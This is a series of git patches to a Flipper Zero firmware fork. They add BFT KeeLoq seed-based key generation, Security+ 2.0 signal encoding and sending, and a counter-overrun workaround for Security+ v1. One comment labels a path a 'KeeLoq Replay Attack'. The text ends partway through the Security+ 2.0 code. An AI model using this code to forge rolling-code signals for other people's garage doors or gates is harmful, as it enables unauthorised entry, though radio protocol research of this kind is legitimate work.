a/applications/subghz/scenes/subghz_scene_set_seed_bft.c b/applications/subghz/scenes/subghz_scene_set_seed_bft.c new file mode 100644 index 000000000..0caa04a4b --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_seed_bft.c @@ -0,0 +1,99 @@ +#include "../subghz_i.h" +#include +#include + +#define TAG "SubGhzSetSeedBft" + +void subghz_scene_set_seed_bft_byte_input_callback(void* context) { + SubGhz* subghz = context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_seed_bft_on_enter(void* context) { + SubGhz* subghz = context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter SEED in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_seed_bft_byte_input_callback, + NULL, + subghz, + subghz->txrx->secure_data->seed, + 4); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_seed_bft_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = context; + bool consumed = false; + bool generated_protocol = false; + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + + uint32_t fix_part = subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | + subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; + + uint16_t cnt = subghz->txrx->secure_data->cnt[0] << 8 | subghz->txrx->secure_data->cnt[1]; + + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | subghz->txrx->secure_data->seed[1] << 16 | + subghz->txrx->secure_data->seed[2] << 8 | subghz->txrx->secure_data->seed[3]; + + subghz->txrx->transmitter = + subghz_transmitter_alloc_init(subghz->txrx->environment, "KeeLoq"); + if(subghz->txrx->transmitter) { + subghz_protocol_keeloq_bft_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + fix_part & 0x0FFFFFFF, + fix_part >> 28, + cnt, + seed, + "BFT", + 433920000, + FuriHalSubGhzPresetOok650Async); + + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (seed >> i * 8) & 0xFF; + } + + flipper_format_write_hex(subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); + FURI_LOG_I(TAG, "SEED: %8X\n", seed); + + generated_protocol = true; + } else { + generated_protocol = false; + } + + subghz_transmitter_free(subghz->txrx->transmitter); + + if(!generated_protocol) { + string_set( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + consumed = true; + } + + if(generated_protocol) { + subghz_file_name_clear(subghz); + DOLPHIN_DEED(DolphinDeedSubGhzAddManually); + scene_manager_set_scene_state( + subghz->scene_manager, SubGhzSceneSetType, SubGhzCustomEventManagerSet); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); + return true; + } + } + return consumed;; +} + +void subghz_scene_set_seed_bft_on_exit(void* context) { + SubGhz* subghz = context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 198cd0fd0..96a8d24d2 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -12,6 +12,7 @@ enum SubmenuIndex { SubmenuIndexFaacSLH, + SubmenuIndexBFT, SubmenuIndexPricenton, SubmenuIndexNiceFlo12bit, SubmenuIndexNiceFlo24bit, @@ -89,6 +90,12 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexFaacSLH, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "BFT Mitto", + SubmenuIndexBFT, + subghz_scene_set_type_submenu_callback, + subghz); submenu_add_item( subghz->submenu, "Princeton_433", @@ -183,6 +190,9 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { case SubmenuIndexFaacSLH: scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); break; + case SubmenuIndexBFT: + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFixBft); + break; case SubmenuIndexPricenton: key = (key & 0x00FFFFF0) | 0x4; //btn 0x1, 0x2, 0x4, 0x8 if(subghz_scene_set_type_submenu_gen_data_protocol( diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 871a4375b..b50ff949d 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -78,8 +78,6 @@ const SubGhzProtocol subghz_protocol_faac_slh = { .encoder = &subghz_protocol_faac_slh_encoder, }; -//static uint32_t seed_global; - /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance @@ -163,20 +161,19 @@ bool subghz_protocol_faac_slh_create_data( const char* manufacture_name, uint32_t frequency, FuriHalSubGhzPreset preset) { - furi_assert(context); - SubGhzProtocolEncoderFaacSLH* instance = context; - instance->generic.serial = serial; - instance->generic.btn = btn; - instance->generic.cnt = cnt; - instance->generic.seed = seed; - //seed_global = instance->generic.seed; - instance->manufacture_name = manufacture_name; - instance->generic.data_count_bit = 64; - bool res = subghz_protocol_faac_slh_gen_data(instance); - if(res) { - res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - } - return res; + furi_assert(context); + SubGhzProtocolEncoderFaacSLH* instance = context; + instance->generic.serial = serial; + instance->generic.btn = btn; + instance->generic.cnt = cnt; + instance->generic.seed = seed; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_faac_slh_gen_data(instance); + if(res) { + res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; } /** @@ -399,7 +396,7 @@ static void subghz_protocol_faac_slh_check_remote_controller (SubGhzBlockGeneric* instance, SubGhzKeystore* keystore, const char** manufacture_name) { - //instance->seed = seed_global; + FURI_LOG_I(TAG, "seed check = %8X", instance->seed); uint32_t code_fix = instance->data >> 32; uint32_t code_hop = instance->data & 0xFFFFFFFF; diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index e61bc4ed7..64d3e59dd 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -141,16 +141,22 @@ static bool subghz_protocol_keeloq_gen_data(SubGhzProtocolEncoderKeeloq* instanc break; case KEELOQ_LEARNING_NORMAL: //Simple Learning - man = - subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + man = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); + break; + case KEELOQ_LEARNING_SECURE: + //Secure Learning + man = subghz_protocol_keeloq_common_secure_learning(fix, instance->generic.seed, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_MAGIC_XOR_TYPE_1: + //Magic XOR type-1 Learning man = subghz_protocol_keeloq_common_magic_xor_type1_learning( instance->generic.serial, manufacture_code->key); hop = subghz_protocol_keeloq_common_encrypt(decrypt, man); break; case KEELOQ_LEARNING_UNKNOWN: + //KeeLoq Replay Attack (sends just the captured key) code_found_reverse = subghz_protocol_blocks_reverse_key( instance->generic.data, instance->generic.data_count_bit); hop = code_found_reverse & 0x00000000ffffffff; @@ -176,18 +182,42 @@ bool subghz_protocol_keeloq_create_data( const char* manufacture_name, uint32_t frequency, FuriHalSubGhzPreset preset) { - furi_assert(context); - SubGhzProtocolEncoderKeeloq* instance = context; - instance->generic.serial = serial; - instance->generic.cnt = cnt; - instance->manufacture_name = manufacture_name; - instance->generic.data_count_bit = 64; - bool res = subghz_protocol_keeloq_gen_data(instance, btn); - if(res) { - res = - subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - } - return res; + furi_assert(context); + SubGhzProtocolEncoderKeeloq* instance = context; + instance->generic.serial = serial; + instance->generic.cnt = cnt; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_keeloq_gen_data(instance, btn); + if(res) { + res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; +} + +bool subghz_protocol_keeloq_bft_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + uint32_t seed, + const char* manufacture_name, + uint32_t frequency, + FuriHalSubGhzPreset preset) { + furi_assert(context); + SubGhzProtocolEncoderKeeloq* instance = context; + instance->generic.serial = serial; + instance->generic.btn = btn; + instance->generic.cnt = cnt; + instance->generic.seed = seed; + instance->manufacture_name = manufacture_name; + instance->generic.data_count_bit = 64; + bool res = subghz_protocol_keeloq_gen_data(instance, btn); + if(res) { + res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + } + return res; } /** @@ -266,6 +296,16 @@ bool subghz_protocol_encoder_keeloq_deserialize(void* context, FlipperFormat* fl FURI_LOG_E(TAG, "Deserialize error"); break; } + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; + } + if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { + FURI_LOG_E(TAG, "Missing Seed"); + break; + } + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; + FURI_LOG_I(TAG, "encoder seed = %8X", instance->generic.seed); subghz_protocol_keeloq_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -474,7 +514,6 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( uint8_t btn = (uint8_t)(fix >> 28); uint32_t decrypt = 0; uint64_t man; - uint32_t seed = 0; for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { @@ -499,7 +538,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( break; case KEELOQ_LEARNING_SECURE: man = subghz_protocol_keeloq_common_secure_learning( - fix, seed, manufacture_code->key); + fix, instance->seed, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -554,7 +593,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( // Secure Learning man = subghz_protocol_keeloq_common_secure_learning( - fix, seed, manufacture_code->key); + fix, instance->seed, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -562,7 +601,7 @@ static uint8_t subghz_protocol_keeloq_check_remote_controller_selector( } // Check for mirrored man - man = subghz_protocol_keeloq_common_secure_learning(fix, seed, man_rev); + man = subghz_protocol_keeloq_common_secure_learning(fix, instance->seed, man_rev); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man); if(subghz_protocol_keeloq_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -633,11 +672,23 @@ bool subghz_protocol_decoder_keeloq_serialize( FuriHalSubGhzPreset preset) { furi_assert(context); SubGhzProtocolDecoderKeeloq* instance = context; - subghz_protocol_keeloq_check_remote_controller( - &instance->generic, instance->keystore, &instance->manufacture_name); bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); + + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; + } + if(res && !flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { + FURI_LOG_E(TAG, "Unable to add Seed"); + res = false; + } + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; + FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); + + subghz_protocol_keeloq_check_remote_controller( + &instance->generic, instance->keystore, &instance->manufacture_name); if(res && !flipper_format_write_string_cstr( flipper_format, "Manufacture", instance->manufacture_name)) { @@ -656,6 +707,20 @@ bool subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* fl FURI_LOG_E(TAG, "Deserialize error"); break; } + if(!flipper_format_rewind(flipper_format)) { + FURI_LOG_E(TAG, "Rewind error"); + break; + } + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; + } + if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { + FURI_LOG_E(TAG, "Missing Seed"); + break; + } + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; + FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); res = true; } while(false); @@ -676,7 +741,27 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { uint32_t code_found_reverse_hi = code_found_reverse >> 32; uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff; + if (strcmp(instance->generic.protocol_name, "BFT") == 0) { + string_cat_printf( + output, + "%s %dbit\r\n" + "Key:%08lX%08lX\r\n" + "Fix:0x%08lX Cnt:%04X\r\n" + "Hop:0x%08lX Btn:%01lX\r\n" + "MF:%s Sd:%08lX\r\n", + instance->generic.protocol_name, + instance->generic.data_count_bit, + code_found_hi, + code_found_lo, + code_found_reverse_hi, + instance->generic.cnt, + code_found_reverse_lo, + instance->generic.btn, + instance->manufacture_name, + instance->generic.seed); + } else { + string_cat_printf( output, "%s %dbit\r\n" "Key:%08lX%08lX\r\n" @@ -693,4 +778,5 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { instance->generic.btn, instance->manufacture_name, instance->generic.serial); + } } diff --git a/lib/subghz/protocols/keeloq.h b/lib/subghz/protocols/keeloq.h index 8031998f8..9750439fe 100644 --- a/lib/subghz/protocols/keeloq.h +++ b/lib/subghz/protocols/keeloq.h @@ -46,6 +46,30 @@ bool subghz_protocol_keeloq_create_data( uint32_t frequency, FuriHalSubGhzPreset preset); +/** + * Key generation for BFT. + * @param context Pointer to a SubGhzProtocolEncoderKeeloq instance + * @param flipper_format Pointer to a FlipperFormat instance + * @param serial Serial number, 28 bit + * @param btn Button number, 4 bit + * @param cnt Counter value, 16 bit + * @param seed Seed value, 32 bit + * @param manufacture_name Name of manufacturer's key + * @param frequency Transmission frequency, Hz + * @param preset Modulation, FuriHalSubGhzPreset + * @return true On success + */ +bool subghz_protocol_keeloq_bft_create_data( + void* context, + FlipperFormat* flipper_format, + uint32_t serial, + uint8_t btn, + uint16_t cnt, + uint32_t seed, + const char* manufacture_name, + uint32_t frequency, + FuriHalSubGhzPreset preset); + /** * Deserialize and generating an upload to send. * @param context Pointer to a SubGhzProtocolEncoderKeeloq instance From 061a1e764fc399e48b84fd7f1e6946e1600a0916 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 25 May 2022 00:26:04 +0300 Subject: [PATCH 205/461] fix keeloq.c Deleted breaks that causes pop-up error --- lib/subghz/protocols/keeloq.c | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 64d3e59dd..64b8af7a0 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -302,7 +302,6 @@ bool subghz_protocol_encoder_keeloq_deserialize(void* context, FlipperFormat* fl } if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { FURI_LOG_E(TAG, "Missing Seed"); - break; } instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; FURI_LOG_I(TAG, "encoder seed = %8X", instance->generic.seed); @@ -676,17 +675,6 @@ bool subghz_protocol_decoder_keeloq_serialize( bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, frequency, preset); - uint8_t seed_data[sizeof(uint32_t)] = {0}; - for(size_t i = 0; i < sizeof(uint32_t); i++) { - seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF; - } - if(res && !flipper_format_write_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { - FURI_LOG_E(TAG, "Unable to add Seed"); - res = false; - } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; - FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); - subghz_protocol_keeloq_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -717,7 +705,6 @@ bool subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* fl } if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { FURI_LOG_E(TAG, "Missing Seed"); - break; } instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); From 5bf23800deba0f2240304e0729c39fddb045357c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 25 May 2022 01:08:41 +0300 Subject: [PATCH 206/461] Update keeloq.c --- lib/subghz/protocols/keeloq.c | 22 +--------------------- 1 file changed, 1 insertion(+), 21 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 64b8af7a0..ad4be111b 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -717,6 +717,7 @@ bool subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* fl void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { furi_assert(context); SubGhzProtocolDecoderKeeloq* instance = context; + subghz_protocol_keeloq_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -728,27 +729,7 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { uint32_t code_found_reverse_hi = code_found_reverse >> 32; uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff; - if (strcmp(instance->generic.protocol_name, "BFT") == 0) { - string_cat_printf( - output, - "%s %dbit\r\n" - "Key:%08lX%08lX\r\n" - "Fix:0x%08lX Cnt:%04X\r\n" - "Hop:0x%08lX Btn:%01lX\r\n" - "MF:%s Sd:%08lX\r\n", - instance->generic.protocol_name, - instance->generic.data_count_bit, - code_found_hi, - code_found_lo, - code_found_reverse_hi, - instance->generic.cnt, - code_found_reverse_lo, - instance->generic.btn, - instance->manufacture_name, - instance->generic.seed); - } else { - string_cat_printf( output, "%s %dbit\r\n" "Key:%08lX%08lX\r\n" @@ -765,5 +746,4 @@ void subghz_protocol_decoder_keeloq_get_string(void* context, string_t output) { instance->generic.btn, instance->manufacture_name, instance->generic.serial); - } } From b7f42aaf15d0d91700e608839cc916fc82199993 Mon Sep 17 00:00:00 2001 From: Alex Zaitsev Date: Wed, 25 May 2022 03:03:26 +0300 Subject: [PATCH 207/461] Removed duplication from readme --- ReadMe.md | 7 ------- 1 file changed, 7 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 5d454407a..510a7d004 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -14,13 +14,6 @@ You should clone with $ git clone --recursive https://github.com/Eng1n33r/flipperzero-firmware.git ``` -# Clone the Repository - -You should clone with -```shell -$ git clone --recursive https://github.com/Eng1n33r/flipperzero-firmware.git -``` - # Update firmware [Get Latest Firmware from Update Server](https://github.com/Eng1n33r/flipperzero-firmware) From c9b1168db9b135f4481fa47d40585f0d31c5e733 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:15:53 +0300 Subject: [PATCH 208/461] new subghz fixes --- applications/subghz/scenes/subghz_scene_set_type.c | 4 ++-- lib/subghz/protocols/secplus_v1.c | 3 +-- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 96a8d24d2..f9999ac2b 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -355,7 +355,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { if(subghz_scene_set_type_submenu_gen_data_protocol( subghz, SUBGHZ_PROTOCOL_SECPLUS_V1_NAME, - (uint64_t)key << 32 | 32, + (uint64_t)key << 32 | 0xE6000000, 42, 315000000, FuriHalSubGhzPresetOok650Async)) { @@ -370,7 +370,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { if(subghz_scene_set_type_submenu_gen_data_protocol( subghz, SUBGHZ_PROTOCOL_SECPLUS_V1_NAME, - (uint64_t)key << 32 | 32, + (uint64_t)key << 32 | 0xE6000000, 42, 390000000, FuriHalSubGhzPresetOok650Async)) { diff --git a/lib/subghz/protocols/secplus_v1.c b/lib/subghz/protocols/secplus_v1.c index d16975de0..0dacbda76 100644 --- a/lib/subghz/protocols/secplus_v1.c +++ b/lib/subghz/protocols/secplus_v1.c @@ -225,8 +225,7 @@ static bool subghz_protocol_secplus_v1_encode(SubGhzProtocolEncoderSecPlus_v1* i instance->generic.data |= rolling; if(rolling > 0xFFFFFFFF) { - FURI_LOG_E("TAG", "Encode counter overrun"); - return false; + rolling = 0xE6000000; } if(fixed > 0xCFD41B90) { FURI_LOG_E("TAG", "Encode wrong fixed data"); From 4d251ebeb9b6a597723a0ef90becb40d79d7574b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:24:17 +0300 Subject: [PATCH 209/461] Update subghz_scene_set_type.c --- .../subghz/scenes/subghz_scene_set_type.c | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index f9999ac2b..63d340780 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -2,6 +2,7 @@ #include #include #include +#include #include #include #include @@ -27,6 +28,9 @@ enum SubmenuIndex { SubmenuIndexFirefly_300_00, SubmenuIndexLiftMaster_315_00, SubmenuIndexLiftMaster_390_00, + SubmenuIndexSecPlus_v2_310_00, + SubmenuIndexSecPlus_v2_315_00, + SubmenuIndexSecPlus_v2_390_00, }; bool subghz_scene_set_type_submenu_gen_data_protocol( @@ -172,6 +176,24 @@ void subghz_scene_set_type_on_enter(void* context) { SubmenuIndexLiftMaster_390_00, subghz_scene_set_type_submenu_callback, subghz); + submenu_add_item( + subghz->submenu, + "Security+2.0_310", + SubmenuIndexSecPlus_v2_310_00, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Security+2.0_315", + SubmenuIndexSecPlus_v2_315_00, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Security+2.0_390", + SubmenuIndexSecPlus_v2_390_00, + subghz_scene_set_type_submenu_callback, + subghz); submenu_set_selected_item( subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneSetType)); @@ -377,6 +399,60 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { generated_protocol = true; } break; + case SubmenuIndexSecPlus_v2_310_00: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_SECPLUS_V2_NAME); + if(subghz->txrx->transmitter) { + subghz_protocol_secplus_v2_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key, + 0x68, + 0xE500000, + 310000000, + FuriHalSubGhzPresetOok650Async); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + break; + case SubmenuIndexSecPlus_v2_315_00: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_SECPLUS_V2_NAME); + if(subghz->txrx->transmitter) { + subghz_protocol_secplus_v2_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key, + 0x68, + 0xE500000, + 315000000, + FuriHalSubGhzPresetOok650Async); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + break; + case SubmenuIndexSecPlus_v2_390_00: + subghz->txrx->transmitter = subghz_transmitter_alloc_init( + subghz->txrx->environment, SUBGHZ_PROTOCOL_SECPLUS_V2_NAME); + if(subghz->txrx->transmitter) { + subghz_protocol_secplus_v2_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + key, + 0x68, + 0xE500000, + 390000000, + FuriHalSubGhzPresetOok650Async); + generated_protocol = true; + } else { + generated_protocol = false; + } + subghz_transmitter_free(subghz->txrx->transmitter); + break; default: return false; From a5728fe4569aabc9ed6ee51bab817ead1ef88861 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 26 May 2022 22:26:56 +0300 Subject: [PATCH 210/461] Security+ v2.0 Save&Send --- lib/subghz/protocols/secplus_v2.c | 726 ++++++++++++++++++++++-------- lib/subghz/protocols/secplus_v2.h | 55 +++ 2 files changed, 595 insertions(+), 186 deletions(-) diff --git a/lib/subghz/protocols/secplus_v2.c b/lib/subghz/protocols/secplus_v2.c index 936eb0a60..af4de9342 100644 --- a/lib/subghz/protocols/secplus_v2.c +++ b/lib/subghz/protocols/secplus_v2.c @@ -1,5 +1,6 @@ #include "secplus_v2.h" #include +#include #include "../blocks/const.h" #include "../blocks/decoder.h" #include "../blocks/encoder.h" @@ -42,6 +43,7 @@ struct SubGhzProtocolEncoderSecPlus_v2 { SubGhzProtocolBlockEncoder encoder; SubGhzBlockGeneric generic; + uint64_t secplus_packet_1; }; typedef enum { @@ -63,23 +65,555 @@ const SubGhzProtocolDecoder subghz_protocol_secplus_v2_decoder = { }; const SubGhzProtocolEncoder subghz_protocol_secplus_v2_encoder = { - .alloc = NULL, - .free = NULL, + .alloc = subghz_protocol_encoder_secplus_v2_alloc, + .free = subghz_protocol_encoder_secplus_v2_free, - .deserialize = NULL, - .stop = NULL, - .yield = NULL, + .deserialize = subghz_protocol_encoder_secplus_v2_deserialize, + .stop = subghz_protocol_encoder_secplus_v2_stop, + .yield = subghz_protocol_encoder_secplus_v2_yield, }; const SubGhzProtocol subghz_protocol_secplus_v2 = { .name = SUBGHZ_PROTOCOL_SECPLUS_V2_NAME, .type = SubGhzProtocolTypeDynamic, - .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, + .flag = SubGhzProtocolFlag_315 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_secplus_v2_decoder, .encoder = &subghz_protocol_secplus_v2_encoder, }; +void* subghz_protocol_encoder_secplus_v2_alloc(SubGhzEnvironment* environment) { + UNUSED(environment); + SubGhzProtocolEncoderSecPlus_v2* instance = malloc(sizeof(SubGhzProtocolEncoderSecPlus_v2)); + + instance->base.protocol = &subghz_protocol_secplus_v2; + instance->generic.protocol_name = instance->base.protocol->name; + + instance->encoder.repeat = 10; + instance->encoder.size_upload = 256; + instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); + instance->encoder.is_runing = false; + return instance; +} + +void subghz_protocol_encoder_secplus_v2_free(void* context) { + furi_assert(context); + SubGhzProtocolEncoderSecPlus_v2* instance = context; + free(instance->encoder.upload); + free(instance); +} + +static bool subghz_protocol_secplus_v2_mix_invet(uint8_t invert, uint16_t p[]) { + // selectively invert buffers + switch(invert) { + case 0x00: // 0b0000 (True, True, False), + p[0] = ~p[0] & 0x03FF; + p[1] = ~p[1] & 0x03FF; + break; + case 0x01: // 0b0001 (False, True, False), + p[1] = ~p[1] & 0x03FF; + break; + case 0x02: // 0b0010 (False, False, True), + p[2] = ~p[2] & 0x03FF; + break; + case 0x04: // 0b0100 (True, True, True), + p[0] = ~p[0] & 0x03FF; + p[1] = ~p[1] & 0x03FF; + p[2] = ~p[2] & 0x03FF; + break; + case 0x05: // 0b0101 (True, False, True), + case 0x0a: // 0b1010 (True, False, True), + p[0] = ~p[0] & 0x03FF; + p[2] = ~p[2] & 0x03FF; + break; + case 0x06: // 0b0110 (False, True, True), + p[1] = ~p[1] & 0x03FF; + p[2] = ~p[2] & 0x03FF; + break; + case 0x08: // 0b1000 (True, False, False), + p[0] = ~p[0] & 0x03FF; + break; + case 0x09: // 0b1001 (False, False, False), + break; + default: + FURI_LOG_E(TAG, "Invert FAIL"); + return false; + } + return true; +} + +static bool subghz_protocol_secplus_v2_mix_order_decode(uint8_t order, uint16_t p[]) { + uint16_t a = p[0], b = p[1], c = p[2]; + + // selectively reorder buffers + switch(order) { + case 0x06: // 0b0110 2, 1, 0], + case 0x09: // 0b1001 2, 1, 0], + p[2] = a; + p[1] = b; + p[0] = c; + break; + case 0x08: // 0b1000 1, 2, 0], + case 0x04: // 0b0100 1, 2, 0], + p[1] = a; + p[2] = b; + p[0] = c; + break; + case 0x01: // 0b0001 2, 0, 1], + p[2] = a; + p[0] = b; + p[1] = c; + 